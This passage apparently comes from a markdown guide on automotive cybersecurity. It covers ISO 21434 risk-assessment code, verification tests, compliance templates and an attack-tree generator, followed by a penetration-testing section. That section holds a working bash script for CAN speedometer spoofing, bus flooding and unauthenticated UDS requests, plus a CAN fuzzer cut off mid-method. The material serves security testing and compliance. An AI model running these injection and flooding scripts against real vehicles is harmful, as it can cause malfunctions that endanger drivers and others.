(RiskLevel.MEDIUM, 3),\n            (ImpactLevel.MODERATE, AttackFeasibility.MEDIUM): (RiskLevel.MEDIUM, 2),\n            (ImpactLevel.MODERATE, AttackFeasibility.LOW): (RiskLevel.LOW, 1),\n            (ImpactLevel.MODERATE, AttackFeasibility.VERY_LOW): (RiskLevel.LOW, 1),\n        }\n\n        key = (impact, feasibility)\n        return risk_matrix.get(key, (RiskLevel.LOW, 1))\n\n    def assess_threat(self, threat: Threat) -> RiskAssessment:\n        \"\"\"Perform complete risk assessment for a threat\"\"\"\n        overall_impact = self.calculate_overall_impact(threat)\n        attack_feasibility = self.calculate_attack_feasibility(threat)\n        risk_level, risk_value = self.determine_risk_level(overall_impact, attack_feasibility)\n\n        # Determine treatment strategy\n        if risk_value >= 4:\n            treatment = \"REDUCE\"\n            justification = \"High\u002FVery High risk requires mitigation controls\"\n        elif risk_value >= 3:\n            treatment = \"REDUCE or SHARE\"\n            justification = \"Medium risk may require mitigation or transfer\"\n        else:\n            treatment = \"ACCEPT\"\n            justification = \"Low risk acceptable with documentation\"\n\n        assessment = RiskAssessment(\n            threat=threat,\n            overall_impact=overall_impact,\n            attack_feasibility=attack_feasibility,\n            risk_level=risk_level,\n            risk_value=risk_value,\n            treatment=treatment,\n            justification=justification\n        )\n\n        self.assessments.append(assessment)\n        return assessment\n\n    def generate_report(self, output_file: str):\n        \"\"\"Generate TARA report in JSON format\"\"\"\n        report = {\n            \"tara_metadata\": {\n                \"standard\": \"ISO\u002FSAE 21434:2021\",\n                \"version\": \"1.0\",\n                \"date\": \"2026-03-19\",\n                \"total_threats\": len(self.assessments)\n            },\n            \"risk_summary\": {\n                \"very_high\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.VERY_HIGH),\n                \"high\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.HIGH),\n                \"medium\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.MEDIUM),\n                \"low\": sum(1 for a in self.assessments if a.risk_level == RiskLevel.LOW)\n            },\n            \"assessments\": []\n        }\n\n        for assessment in self.assessments:\n            report[\"assessments\"].append({\n                \"threat_id\": assessment.threat.threat_id,\n                \"threat_name\": assessment.threat.name,\n                \"threat_type\": assessment.threat.threat_type,\n                \"asset\": assessment.threat.asset,\n                \"impact\": assessment.overall_impact.name,\n                \"attack_feasibility\": assessment.attack_feasibility.name,\n                \"feasibility_score\": {\n                    \"elapsed_time\": assessment.threat.elapsed_time,\n                    \"specialist_expertise\": assessment.threat.specialist_expertise,\n                    \"knowledge_of_item\": assessment.threat.knowledge_of_item,\n                    \"window_of_opportunity\": assessment.threat.window_of_opportunity,\n                    \"equipment\": assessment.threat.equipment,\n                    \"total\": sum([\n                        assessment.threat.elapsed_time,\n                        assessment.threat.specialist_expertise,\n                        assessment.threat.knowledge_of_item,\n                        assessment.threat.window_of_opportunity,\n                        assessment.threat.equipment\n                    ])\n                },\n                \"risk_level\": assessment.risk_level.name,\n                \"risk_value\": assessment.risk_value,\n                \"treatment\": assessment.treatment,\n                \"justification\": assessment.justification\n            })\n\n        with open(output_file, 'w') as f:\n            json.dump(report, f, indent=2)\n\n        print(f\"TARA report generated: {output_file}\")\n\n\n# Example: TCU TARA\ndef run_tcu_tara():\n    tara = TARAEngine()\n\n    # Threat T-001: Remote Code Execution via OTA\n    threat_rce = Threat(\n        threat_id=\"T-001\",\n        name=\"Remote Code Execution via Malicious OTA Update\",\n        description=\"Attacker injects malicious firmware via compromised OTA server\",\n        threat_type=\"Tampering\",\n        asset=\"Firmware Image\",\n        impact_safety=ImpactLevel.SEVERE,  # Can control vehicle functions\n        impact_financial=ImpactLevel.MAJOR,  # Massive recall\n        impact_operational=ImpactLevel.SEVERE,  # Complete TCU compromise\n        impact_privacy=ImpactLevel.MAJOR,  # Access to all telemetry data\n        elapsed_time=13,  # Days to weeks (13-16 points per ISO 21434)\n        specialist_expertise=6,  # Proficient (6 points)\n        knowledge_of_item=3,  # Public information (0-3 points)\n        window_of_opportunity=4,  # Easy (0-4 points)\n        equipment=4  # Standard equipment (4 points)\n    )\n\n    # Threat T-002: CAN Bus Message Injection\n    threat_can_injection = Threat(\n        threat_id=\"T-002\",\n        name=\"CAN Bus Message Injection\",\n        description=\"Attacker with physical access injects spoofed CAN messages\",\n        threat_type=\"Spoofing\",\n        asset=\"CAN Bus Interface\",\n        impact_safety=ImpactLevel.MAJOR,  # Can send false sensor data\n        impact_financial=ImpactLevel.MODERATE,\n        impact_operational=ImpactLevel.MAJOR,\n        impact_privacy=ImpactLevel.NEGLIGIBLE,\n        elapsed_time=16,  # \u003C 1 day (16-19 points)\n        specialist_expertise=6,  # Proficient\n        knowledge_of_item=7,  # Restricted information (4-7 points)\n        window_of_opportunity=7,  # Moderate (5-7 points)\n        equipment=6  # Specialized equipment (5-7 points)\n    )\n\n    # Threat T-003: V2X Certificate Theft\n    threat_cert_theft = Threat(\n        threat_id=\"T-003\",\n        name=\"V2X Certificate Private Key Extraction\",\n        description=\"Physical attack to extract private key from HSM\",\n        threat_type=\"Information Disclosure\",\n        asset=\"Private Key for V2X\",\n        impact_safety=ImpactLevel.MAJOR,  # Spoofed V2X messages\n        impact_financial=ImpactLevel.SEVERE,  # PKI infrastructure compromise\n        impact_operational=ImpactLevel.MAJOR,\n        impact_privacy=ImpactLevel.SEVERE,  # Impersonation attacks\n        elapsed_time=7,  # More than 1 month (7-12 points)\n        specialist_expertise=0,  # Expert (0 points)\n        knowledge_of_item=0,  # Sensitive information (0 points)\n        window_of_opportunity=7,  # Moderate\n        equipment=0  # Bespoke equipment (0 points)\n    )\n\n    # Assess all threats\n    tara.assess_threat(threat_rce)\n    tara.assess_threat(threat_can_injection)\n    tara.assess_threat(threat_cert_theft)\n\n    # Generate report\n    tara.generate_report(\"\u002Ftmp\u002Ftcu_tara_report.json\")\n\n    # Print summary\n    print(\"\\n=== TARA Summary ===\")\n    for assessment in tara.assessments:\n        print(f\"\\n{assessment.threat.threat_id}: {assessment.threat.name}\")\n        print(f\"  Impact: {assessment.overall_impact.name}\")\n        print(f\"  Attack Feasibility: {assessment.attack_feasibility.name}\")\n        print(f\"  Risk Level: {assessment.risk_level.name} (Value: {assessment.risk_value})\")\n        print(f\"  Treatment: {assessment.treatment}\")\n\nif __name__ == \"__main__\":\n    run_tcu_tara()\n```\n\n### Phase 3: Cybersecurity Concept\n\n```yaml\n# Cybersecurity Concept Template\ncybersecurity_concept:\n  item: \"Telematics Control Unit (TCU)\"\n  version: \"1.0\"\n  date: \"2026-03-19\"\n\n  cybersecurity_goals:\n    - id: \"CG-001\"\n      description: \"Prevent unauthorized firmware modification\"\n      rationale: \"Addresses T-001 (Remote Code Execution)\"\n      security_property: \"Integrity\"\n\n    - id: \"CG-002\"\n      description: \"Prevent CAN message spoofing\"\n      rationale: \"Addresses T-002 (CAN Bus Message Injection)\"\n      security_property: \"Authenticity\"\n\n    - id: \"CG-003\"\n      description: \"Protect V2X private key from extraction\"\n      rationale: \"Addresses T-003 (Certificate Theft)\"\n      security_property: \"Confidentiality\"\n\n  cybersecurity_requirements:\n    - id: \"CSR-001\"\n      goal: \"CG-001\"\n      description: \"Firmware shall be signed with RSA-4096 signature\"\n      verification: \"Cryptographic signature verification test\"\n\n    - id: \"CSR-002\"\n      goal: \"CG-001\"\n      description: \"Secure boot shall verify firmware signature before execution\"\n      verification: \"Tampered firmware rejection test\"\n\n    - id: \"CSR-003\"\n      goal: \"CG-002\"\n      description: \"CAN messages shall include HMAC-SHA256 authentication tag\"\n      verification: \"Message authentication test with spoofed frames\"\n\n    - id: \"CSR-004\"\n      goal: \"CG-003\"\n      description: \"Private keys shall be stored in HSM with no export capability\"\n      verification: \"Physical penetration test, key extraction attempt\"\n\n    - id: \"CSR-005\"\n      goal: \"CG-003\"\n      description: \"Implement side-channel attack countermeasures (timing, power analysis)\"\n      verification: \"Differential power analysis (DPA) test\"\n```\n\n### Phase 4: Cybersecurity Verification\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nISO 21434 Cybersecurity Verification Test Suite\nAutomated validation of cybersecurity requirements\n\"\"\"\n\nimport subprocess\nimport hashlib\nimport hmac\nfrom cryptography.hazmat.primitives import hashes, serialization\nfrom cryptography.hazmat.primitives.asymmetric import rsa, padding\nfrom cryptography.hazmat.backends import default_backend\nimport struct\n\nclass CybersecurityVerifier:\n    def __init__(self):\n        self.test_results = []\n\n    def verify_csr_001_firmware_signature(self, firmware_path: str, signature_path: str, pubkey_path: str) -> bool:\n        \"\"\"\n        CSR-001: Verify firmware is signed with RSA-4096\n        Returns True if signature valid, False otherwise\n        \"\"\"\n        print(\"\\n[TEST] CSR-001: Firmware Signature Verification\")\n\n        try:\n            # Load public key\n            with open(pubkey_path, 'rb') as f:\n                public_key = serialization.load_pem_public_key(f.read(), backend=default_backend())\n\n            # Load firmware and signature\n            with open(firmware_path, 'rb') as f:\n                firmware_data = f.read()\n\n            with open(signature_path, 'rb') as f:\n                signature = f.read()\n\n            # Verify signature\n            public_key.verify(\n                signature,\n                firmware_data,\n                padding.PSS(\n                    mgf=padding.MGF1(hashes.SHA256()),\n                    salt_length=padding.PSS.MAX_LENGTH\n                ),\n                hashes.SHA256()\n            )\n\n            print(\"  [PASS] Firmware signature valid\")\n            self.test_results.append((\"CSR-001\", \"PASS\"))\n            return True\n\n        except Exception as e:\n            print(f\"  [FAIL] Signature verification failed: {e}\")\n            self.test_results.append((\"CSR-001\", \"FAIL\"))\n            return False\n\n    def verify_csr_002_secure_boot_rejection(self, tampered_firmware_path: str) -> bool:\n        \"\"\"\n        CSR-002: Verify secure boot rejects tampered firmware\n        Simulates flashing tampered firmware and checking boot status\n        \"\"\"\n        print(\"\\n[TEST] CSR-002: Secure Boot Tamper Detection\")\n\n        # This would interface with actual ECU via diagnostic protocol\n        # Simulated example:\n        try:\n            # Attempt to flash tampered firmware\n            result = subprocess.run(\n                ['flash_tool', '--ecu', 'TCU', '--firmware', tampered_firmware_path],\n                capture_output=True,\n                text=True,\n                timeout=30\n            )\n\n            # Check if ECU rejected the firmware\n            if \"SIGNATURE_INVALID\" in result.stderr or result.returncode != 0:\n                print(\"  [PASS] Secure boot rejected tampered firmware\")\n                self.test_results.append((\"CSR-002\", \"PASS\"))\n                return True\n            else:\n                print(\"  [FAIL] Secure boot accepted tampered firmware\")\n                self.test_results.append((\"CSR-002\", \"FAIL\"))\n                return False\n\n        except Exception as e:\n            print(f\"  [ERROR] Test execution failed: {e}\")\n            self.test_results.append((\"CSR-002\", \"ERROR\"))\n            return False\n\n    def verify_csr_003_can_message_authentication(self, can_interface: str) -> bool:\n        \"\"\"\n        CSR-003: Verify CAN messages include HMAC authentication\n        Captures CAN traffic and validates HMAC tags\n        \"\"\"\n        print(\"\\n[TEST] CSR-003: CAN Message Authentication\")\n\n        try:\n            # Capture CAN frame (example using SocketCAN)\n            import can\n\n            bus = can.interface.Bus(channel=can_interface, bustype='socketcan')\n            message = bus.recv(timeout=5.0)\n\n            if message is None:\n                print(\"  [FAIL] No CAN message received\")\n                self.test_results.append((\"CSR-003\", \"FAIL\"))\n                return False\n\n            # Extract payload and HMAC (last 32 bytes)\n            if len(message.data) \u003C 32:\n                print(\"  [FAIL] CAN message too short for HMAC\")\n                self.test_results.append((\"CSR-003\", \"FAIL\"))\n                return False\n\n            payload = message.data[:-32]\n            received_hmac = message.data[-32:]\n\n            # Verify HMAC (key would be provisioned via secure channel)\n            shared_key = b'REPLACE_WITH_PROVISIONED_KEY'\n            expected_hmac = hmac.new(shared_key, payload, hashlib.sha256).digest()\n\n            if hmac.compare_digest(received_hmac, expected_hmac):\n                print(\"  [PASS] CAN message HMAC valid\")\n                self.test_results.append((\"CSR-003\", \"PASS\"))\n                return True\n            else:\n                print(\"  [FAIL] CAN message HMAC invalid\")\n                self.test_results.append((\"CSR-003\", \"FAIL\"))\n                return False\n\n        except Exception as e:\n            print(f\"  [ERROR] Test failed: {e}\")\n            self.test_results.append((\"CSR-003\", \"ERROR\"))\n            return False\n\n    def generate_verification_report(self, output_file: str):\n        \"\"\"Generate ISO 21434 verification report\"\"\"\n        total = len(self.test_results)\n        passed = sum(1 for _, result in self.test_results if result == \"PASS\")\n        failed = sum(1 for _, result in self.test_results if result == \"FAIL\")\n        errors = sum(1 for _, result in self.test_results if result == \"ERROR\")\n\n        with open(output_file, 'w') as f:\n            f.write(\"ISO\u002FSAE 21434 Cybersecurity Verification Report\\n\")\n            f.write(\"=\" * 60 + \"\\n\\n\")\n            f.write(f\"Date: 2026-03-19\\n\")\n            f.write(f\"Item: Telematics Control Unit (TCU)\\n\")\n            f.write(f\"Standard: ISO\u002FSAE 21434:2021\\n\\n\")\n            f.write(f\"Summary:\\n\")\n            f.write(f\"  Total Tests: {total}\\n\")\n            f.write(f\"  Passed: {passed}\\n\")\n            f.write(f\"  Failed: {failed}\\n\")\n            f.write(f\"  Errors: {errors}\\n\\n\")\n            f.write(f\"Test Results:\\n\")\n\n            for req_id, result in self.test_results:\n                f.write(f\"  {req_id}: {result}\\n\")\n\n            if failed == 0 and errors == 0:\n                f.write(\"\\nVerdict: COMPLIANT\\n\")\n            else:\n                f.write(\"\\nVerdict: NON-COMPLIANT\\n\")\n\n        print(f\"\\nVerification report saved: {output_file}\")\n\n# Example usage\nif __name__ == \"__main__\":\n    verifier = CybersecurityVerifier()\n\n    # Run verification tests\n    verifier.verify_csr_001_firmware_signature(\n        \"\u002Ftmp\u002Ftcu_firmware.bin\",\n        \"\u002Ftmp\u002Ftcu_firmware.sig\",\n        \"\u002Ftmp\u002Ftcu_pubkey.pem\"\n    )\n\n    verifier.verify_csr_002_secure_boot_rejection(\"\u002Ftmp\u002Ftampered_firmware.bin\")\n    verifier.verify_csr_003_can_message_authentication(\"can0\")\n\n    # Generate report\n    verifier.generate_verification_report(\"\u002Ftmp\u002Fiso21434_verification_report.txt\")\n```\n\n## UN R155 Compliance\n\n```yaml\n# UN R155 Type Approval Documentation Template\nun_r155_compliance:\n  vehicle_manufacturer: \"OEM Example Inc.\"\n  vehicle_type: \"Electric SUV Model X\"\n  approval_date: \"2026-03-19\"\n\n  csms_description:\n    scope: \"Development, production, post-production phases\"\n    organizational_structure:\n      cybersecurity_officer: \"John Doe\"\n      security_team: [\"Security Architect\", \"Pentest Lead\", \"Incident Response\"]\n\n    processes:\n      - risk_management: \"ISO 21434 TARA process implemented\"\n      - secure_development: \"Secure SDLC with threat modeling\"\n      - testing: \"Penetration testing, fuzzing, static analysis\"\n      - vulnerability_management: \"CVE monitoring, patch management\"\n      - incident_response: \"24\u002F7 SOC, incident playbooks\"\n\n  cybersecurity_threats_addressed:\n    - threat: \"Backend Server Compromise\"\n      mitigation: \"TLS 1.3, certificate pinning, rate limiting\"\n\n    - threat: \"Vehicle Data Extraction\"\n      mitigation: \"Data encryption at rest (AES-256)\"\n\n    - threat: \"Unauthorized Vehicle Access\"\n      mitigation: \"BLE pairing with PIN, rolling codes\"\n\n  cybersecurity_testing_performed:\n    - type: \"Penetration Testing\"\n      scope: \"TCU, Gateway, Infotainment\"\n      result: \"No critical vulnerabilities found\"\n\n    - type: \"Fuzzing\"\n      scope: \"CAN protocol stack, Ethernet stack\"\n      result: \"2 medium severity bugs fixed\"\n\n  post_production_monitoring:\n    - \"SIEM integration for fleet-wide anomaly detection\"\n    - \"OTA security patch deployment within 72 hours\"\n    - \"Vulnerability disclosure program (VDP)\"\n```\n\n## ISO 21434 Tool: Attack Tree Generator\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nAttack Tree Generator for ISO 21434 TARA\nGenerates visual attack trees for threat scenarios\n\"\"\"\n\nclass AttackTreeNode:\n    def __init__(self, name: str, node_type: str, operator: str = None):\n        self.name = name\n        self.node_type = node_type  # \"goal\", \"attack_step\"\n        self.operator = operator  # \"AND\", \"OR\", None\n        self.children = []\n        self.feasibility_score = None\n\n    def add_child(self, child):\n        self.children.append(child)\n        return child\n\n    def to_dict(self):\n        return {\n            \"name\": self.name,\n            \"type\": self.node_type,\n            \"operator\": self.operator,\n            \"feasibility\": self.feasibility_score,\n            \"children\": [child.to_dict() for child in self.children]\n        }\n\ndef generate_rce_attack_tree():\n    \"\"\"Generate attack tree for Remote Code Execution threat\"\"\"\n\n    # Root goal\n    root = AttackTreeNode(\"Achieve Remote Code Execution on TCU\", \"goal\", \"AND\")\n\n    # Top-level steps (AND)\n    step1 = root.add_child(AttackTreeNode(\"Gain Network Access to OTA Server\", \"attack_step\", \"OR\"))\n    step2 = root.add_child(AttackTreeNode(\"Inject Malicious Firmware\", \"attack_step\", \"AND\"))\n    step3 = root.add_child(AttackTreeNode(\"Bypass Signature Verification\", \"attack_step\", \"OR\"))\n\n    # Step 1 branches (OR)\n    step1.add_child(AttackTreeNode(\"Compromise OTA Server Credentials\", \"attack_step\"))\n    step1.add_child(AttackTreeNode(\"Man-in-the-Middle Attack on TLS Connection\", \"attack_step\"))\n    step1.add_child(AttackTreeNode(\"Exploit OTA Server Vulnerability (CVE)\", \"attack_step\"))\n\n    # Step 2 branches (AND)\n    step2.add_child(AttackTreeNode(\"Craft Malicious Firmware Payload\", \"attack_step\"))\n    step2.add_child(AttackTreeNode(\"Upload Firmware to OTA Server\", \"attack_step\"))\n\n    # Step 3 branches (OR)\n    step3.add_child(AttackTreeNode(\"Extract Private Key from HSM\", \"attack_step\"))\n    step3.add_child(AttackTreeNode(\"Exploit Signature Verification Bug\", \"attack_step\"))\n    step3.add_child(AttackTreeNode(\"Downgrade to Unsigned Firmware\", \"attack_step\"))\n\n    return root\n\ndef export_attack_tree_graphviz(tree: AttackTreeNode, output_file: str):\n    \"\"\"Export attack tree to Graphviz DOT format\"\"\"\n\n    dot_lines = [\"digraph AttackTree {\"]\n    dot_lines.append('  node [shape=box];')\n\n    node_counter = [0]\n\n    def traverse(node, parent_id=None):\n        current_id = node_counter[0]\n        node_counter[0] += 1\n\n        # Node label\n        label = node.name\n        if node.operator:\n            label += f\"\\\\n[{node.operator}]\"\n\n        # Node style\n        if node.node_type == \"goal\":\n            style = 'style=filled, fillcolor=lightblue'\n        else:\n            style = 'style=filled, fillcolor=lightyellow'\n\n        dot_lines.append(f'  node{current_id} [label=\"{label}\", {style}];')\n\n        if parent_id is not None:\n            dot_lines.append(f'  node{parent_id} -> node{current_id};')\n\n        for child in node.children:\n            traverse(child, current_id)\n\n    traverse(tree)\n    dot_lines.append(\"}\")\n\n    with open(output_file, 'w') as f:\n        f.write('\\n'.join(dot_lines))\n\n    print(f\"Attack tree exported: {output_file}\")\n    print(\"Generate PNG: dot -Tpng attack_tree.dot -o attack_tree.png\")\n\nif __name__ == \"__main__\":\n    tree = generate_rce_attack_tree()\n    export_attack_tree_graphviz(tree, \"\u002Ftmp\u002Frce_attack_tree.dot\")\n```\n\n## Best Practices\n\n1. **TARA Execution**: Perform TARA at item definition phase and update after significant changes\n2. **Risk Treatment Traceability**: Maintain traceability matrix from threats → cybersecurity goals → requirements → tests\n3. **Tool Support**: Use dedicated ISO 21434 tools (Medini Analyze, PREEvision, ITEM ToolKit)\n4. **Cross-Functional Collaboration**: Involve safety engineers, architects, developers, pentesters\n5. **Continuous Monitoring**: ISO 21434 is not one-time; requires ongoing vulnerability management\n\n## References\n\n- ISO\u002FSAE 21434:2021 - Road vehicles - Cybersecurity engineering\n- UN R155 - Uniform provisions concerning cybersecurity and CSMS\n- UN R156 - Uniform provisions concerning software update and SUMS\n- UNECE WP.29 - Cybersecurity type approval guidance\n\n---\n\n## Penetration Testing Automotive\n\n# Automotive Penetration Testing Skill\n\n## Overview\n\nExpert skill for performing security assessments on automotive systems. Covers CAN fuzzing, wireless attacks (Bluetooth\u002FWiFi), infotainment exploitation, ECU firmware reverse engineering, and specialized automotive pentest tools.\n\n## Core Competencies\n\n### Penetration Testing Methodology\n- **Reconnaissance**: Asset discovery, attack surface mapping\n- **Vulnerability Assessment**: Known CVEs, configuration issues\n- **Exploitation**: Proof-of-concept attack development\n- **Post-Exploitation**: Privilege escalation, lateral movement\n- **Reporting**: Executive summary, technical findings, remediation roadmap\n\n### Attack Vectors\n- **CAN Bus**: Injection, spoofing, DoS, fuzzing\n- **Wireless**: Bluetooth pairing bypass, WiFi WPA3 attacks\n- **Infotainment**: Web browser exploitation, USB attacks\n- **Diagnostics**: UDS brute-force, seed-key cracking\n- **OTA**: MITM attacks, firmware downgrade\n\n## Toolset\n\n### Essential Tools\n- **CANalyze**: CAN traffic analysis and injection\n- **CarShark**: Wireshark for automotive protocols\n- **ICSim**: Instrument Cluster Simulator for testing\n- **can-utils**: Linux SocketCAN utilities\n- **Metasploit**: Framework for exploitation\n- **Burp Suite**: Web application testing (infotainment)\n\n## CAN Bus Penetration Testing\n\n### CAN Injection with can-utils\n\n```bash\n#!\u002Fbin\u002Fbash\n# CAN Bus Penetration Testing Script\n# Tests for basic CAN injection vulnerabilities\n\nset -e\n\nINTERFACE=\"can0\"\n\necho \"=== CAN Bus Penetration Test ===\"\necho \"[INFO] Interface: $INTERFACE\"\n\n# Setup CAN interface\nsetup_can() {\n    echo \"[1\u002F5] Setting up CAN interface...\"\n    sudo ip link set $INTERFACE type can bitrate 500000\n    sudo ip link set up $INTERFACE\n    echo \"[PASS] CAN interface configured (500 kbps)\"\n}\n\n# Reconnaissance: Capture normal traffic\nrecon_traffic() {\n    echo \"[2\u002F5] Reconnaissance: Capturing normal traffic...\"\n    candump $INTERFACE -n 1000 > \u002Ftmp\u002Fcan_baseline.log\n    echo \"[INFO] Captured 1000 frames to \u002Ftmp\u002Fcan_baseline.log\"\n\n    # Analyze unique CAN IDs\n    cat \u002Ftmp\u002Fcan_baseline.log | awk '{print $3}' | cut -d'#' -f1 | sort -u > \u002Ftmp\u002Fcan_ids.txt\n    CAN_ID_COUNT=$(wc -l \u003C \u002Ftmp\u002Fcan_ids.txt)\n    echo \"[INFO] Unique CAN IDs found: $CAN_ID_COUNT\"\n    head -10 \u002Ftmp\u002Fcan_ids.txt\n}\n\n# Test 1: CAN Injection (Speedometer manipulation)\ntest_speedometer_injection() {\n    echo \"[3\u002F5] Test 1: Speedometer Manipulation\"\n\n    # Common speedometer CAN IDs: 0x1A0 (VW), 0x0B4 (Toyota), 0x3E9 (Ford)\n    SPEED_CAN_ID=\"1A0\"\n\n    echo \"[INFO] Injecting fake speed messages (CAN ID: 0x$SPEED_CAN_ID)...\"\n\n    for speed_kmh in 0 50 100 150 200; do\n        # Calculate payload (speed in km\u002Fh * 100, little-endian)\n        speed_raw=$((speed_kmh * 100))\n        low_byte=$((speed_raw & 0xFF))\n        high_byte=$(((speed_raw >> 8) & 0xFF))\n\n        payload=$(printf \"%02X%02X000000000000\" $low_byte $high_byte)\n\n        echo \"  [INJECT] Speed: ${speed_kmh} km\u002Fh -> Payload: $payload\"\n        cansend $INTERFACE ${SPEED_CAN_ID}#${payload}\n\n        sleep 1\n    done\n\n    echo \"[PASS] Speed injection test complete\"\n    echo \"[FINDING] Speedometer accepts spoofed CAN messages without authentication\"\n}\n\n# Test 2: CAN Flooding (DoS attack)\ntest_can_flooding() {\n    echo \"[4\u002F5] Test 2: CAN Bus Flooding (DoS)\"\n\n    FLOOD_CAN_ID=\"7FF\"  # High priority ID\n    DURATION=5\n\n    echo \"[WARN] Flooding CAN bus for ${DURATION} seconds...\"\n    echo \"[INFO] This may cause legitimate messages to be delayed\u002Fdropped\"\n\n    timeout $DURATION bash -c \"while true; do cansend $INTERFACE ${FLOOD_CAN_ID}#DEADBEEFDEADBEEF; done\" &\n    FLOOD_PID=$!\n\n    sleep $DURATION\n    wait $FLOOD_PID 2>\u002Fdev\u002Fnull || true\n\n    echo \"[PASS] Flooding test complete\"\n    echo \"[FINDING] CAN bus has no rate limiting - vulnerable to DoS\"\n}\n\n# Test 3: Diagnostic Protocol Attack (UDS)\ntest_uds_attack() {\n    echo \"[5\u002F5] Test 3: UDS Diagnostic Attack\"\n\n    # UDS diagnostic request CAN ID: 0x7E0 (physical), 0x7DF (functional)\n    UDS_REQUEST_ID=\"7E0\"\n    UDS_RESPONSE_ID=\"7E8\"\n\n    echo \"[INFO] Sending UDS diagnostics session request...\"\n\n    # 0x10 0x01 = Start diagnostic session (default)\n    cansend $INTERFACE ${UDS_REQUEST_ID}#021001000000000000\n\n    sleep 0.1\n\n    # Check for response\n    timeout 2 candump $INTERFACE,${UDS_RESPONSE_ID}:7FF -n 1 > \u002Ftmp\u002Fuds_response.log 2>&1 || true\n\n    if [ -s \u002Ftmp\u002Fuds_response.log ]; then\n        echo \"[PASS] ECU responded to UDS session request\"\n        cat \u002Ftmp\u002Fuds_response.log\n        echo \"[FINDING] ECU accepts UDS diagnostic commands without authentication\"\n    else\n        echo \"[FAIL] No UDS response received (ECU may require authentication)\"\n    fi\n}\n\n# Main execution\nsetup_can\nrecon_traffic\ntest_speedometer_injection\ntest_can_flooding\ntest_uds_attack\n\necho \"\"\necho \"=== Penetration Test Summary ===\"\necho \"[CRITICAL] CAN bus has no message authentication (SecOC not implemented)\"\necho \"[HIGH] ECU vulnerable to message injection and spoofing\"\necho \"[HIGH] No rate limiting - DoS attacks possible\"\necho \"[MEDIUM] UDS diagnostic interface exposed without authentication\"\necho \"\"\necho \"Recommendations:\"\necho \"  1. Implement SecOC (Secure Onboard Communication) per AUTOSAR\"\necho \"  2. Add message authentication codes (MAC) to critical CAN IDs\"\necho \"  3. Implement gateway filtering and rate limiting\"\necho \"  4. Require seed-key authentication for UDS diagnostic access\"\n```\n\n### CAN Fuzzing with Python\n\n```python\n#!\u002Fusr\u002Fbin\u002Fenv python3\n\"\"\"\nCAN Bus Fuzzer for Vulnerability Discovery\nSystematically tests CAN protocol implementation\n\"\"\"\n\nimport can\nimport random\nimport time\nfrom itertools import product\n\nclass CANFuzzer:\n    \"\"\"Intelligent CAN fuzzing framework\"\"\"\n\n    def __init__(self, interface: str = 'can0'):\n        self.bus = can.interface.Bus(channel=interface, bustype='socketcan')\n        self.crashes = []\n        self.anomalies = []\n\n        print(f\"=== CAN Fuzzer Initialized ===\")\n        print(f\"[INFO] Interface: {interface}\")\n        print(f\"[WARN] Fuzzing may cause ECU crashes or vehicle malfunctions\")\n\n    def fuzz_can_ids(self, start_id: int = 0x000, end_id: int = 0x7FF, delay: float = 0.01):\n        \"\"\"Fuzz all possible CAN IDs\"\"\"\n        print(f\"\\n[FUZZ] Testing CAN IDs 0x{start_id:03X} to 0x{end_id:03X}\")\n\n        for can_id in range(start_id, end_id + 1):\n            payload = [0x00] * 8\n\n            msg = can.Message(\n                arbitration_id=can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            try:\n                self.bus.send(msg)\n            except can.CanError as e:\n                print(f\"[ERROR] Failed to send CAN ID 0x{can_id:03X}: {e}\")\n\n            time.sleep(delay)\n\n            if can_id % 100 == 0:\n                print(f\"[INFO] Progress: 0x{can_id:03X} \u002F 0x{end_id:03X}\")\n\n        print(f\"[PASS] CAN ID fuzzing complete\")\n\n    def fuzz_dlc(self, target_can_id: int):\n        \"\"\"Fuzz Data Length Code (DLC) field\"\"\"\n        print(f\"\\n[FUZZ] Testing DLC values for CAN ID 0x{target_can_id:03X}\")\n\n        for dlc in range(0, 16):  # DLC 0-15 (valid: 0-8)\n            # Generate payload of specified length\n            if dlc \u003C= 8:\n                payload = [0xAA] * dlc\n            else:\n                payload = [0xAA] * 8  # Invalid DLC, max 8 bytes\n\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            print(f\"  [TEST] DLC={dlc}, Payload={len(payload)} bytes\")\n\n            try:\n                self.bus.send(msg)\n            except Exception as e:\n                print(f\"  [ANOMALY] DLC={dlc} caused error: {e}\")\n                self.anomalies.append({'test': 'dlc_fuzz', 'dlc': dlc, 'error': str(e)})\n\n            time.sleep(0.05)\n\n        print(f\"[PASS] DLC fuzzing complete\")\n\n    def fuzz_payload_random(self, target_can_id: int, iterations: int = 1000):\n        \"\"\"Random payload fuzzing\"\"\"\n        print(f\"\\n[FUZZ] Random payload fuzzing (CAN ID 0x{target_can_id:03X}, {iterations} iterations)\")\n\n        for i in range(iterations):\n            # Random payload length and content\n            dlc = random.randint(0, 8)\n            payload = [random.randint(0, 255) for _ in range(dlc)]\n\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            self.bus.send(msg)\n\n            if i % 100 == 0:\n                print(f\"[INFO] Progress: {i} \u002F {iterations}\")\n\n            time.sleep(0.001)\n\n        print(f\"[PASS] Random payload fuzzing complete\")\n\n    def fuzz_payload_boundary(self, target_can_id: int):\n        \"\"\"Boundary value fuzzing (edge cases)\"\"\"\n        print(f\"\\n[FUZZ] Boundary value testing (CAN ID 0x{target_can_id:03X})\")\n\n        boundary_values = [\n            [0x00] * 8,  # All zeros\n            [0xFF] * 8,  # All ones\n            [0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0xFF],  # Alternating\n            [0x80, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00],  # MSB set\n            [0x7F, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF, 0xFF],  # Max positive (signed)\n            [0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA, 0xAA],  # Pattern 0b10101010\n            [0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55, 0x55],  # Pattern 0b01010101\n        ]\n\n        for idx, payload in enumerate(boundary_values):\n            msg = can.Message(\n                arbitration_id=target_can_id,\n                data=payload,\n                is_extended_id=False\n            )\n\n            print(f\"  [TEST] Boundary case {idx + 1}: {payload}\")\n            self.bus.send(msg)\n            time.sleep(0.1)\n\n        